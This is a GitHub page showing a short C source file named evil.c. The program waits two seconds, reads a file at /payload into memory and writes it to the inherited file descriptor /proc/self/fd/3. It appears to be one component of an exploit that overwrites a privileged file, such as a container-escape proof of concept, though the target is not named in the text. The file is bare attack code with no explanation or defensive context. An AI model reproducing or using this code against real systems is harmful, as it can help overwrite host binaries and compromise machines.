-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathevil.c
78 lines (69 loc) · 1.5 KB
/
evil.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
int64_t filelen(const char *path)
{
struct stat s;
int64_t result;
result = (int64_t)stat(path, &s);
if (result != 0) {
fprintf(stderr, "Cannot stat file %s: %m\n", path);
return result;
}
return (int64_t)s.st_size;
}
int load_payload(char *payloadbuf, size_t buflen, const char *path)
{
FILE *fp;
int rc;
fp = fopen(path, "r");
if (fp == NULL) {
fprintf(stderr, "Cannot open file %s: %m\n", path);
return -1;
}
rc = fread(payloadbuf, 1, buflen, fp);
if (rc != (int)buflen) {
fprintf(stderr, "Cannot read file %s: %m\n", path);
fclose(fp);
return -1;
}
fclose(fp);
return 0;
}
int main(void)
{
FILE *fp;
char *buf;
int64_t size;
int rc;
const char *path = "/payload";
sleep(2);
size = filelen(path);
if (size < 0) {
return 1;
}
buf = malloc(size);
rc = load_payload(buf, size, path);
if (rc != 0) {
free(buf);
return 1;
}
fp = fopen("/proc/self/fd/3", "w");
if (fp == NULL) {
fprintf(stderr, "Cannot open file /proc/self/fd/3: %m\n");
free(buf);
return 1;
}
rc = fwrite(buf, 1, size, fp);
fclose(fp);
free(buf);
if (rc != size) {
fprintf(stderr, "Cannot write to file /proc/self/fd/3: %m\n");
return 1;
}
return 0;
}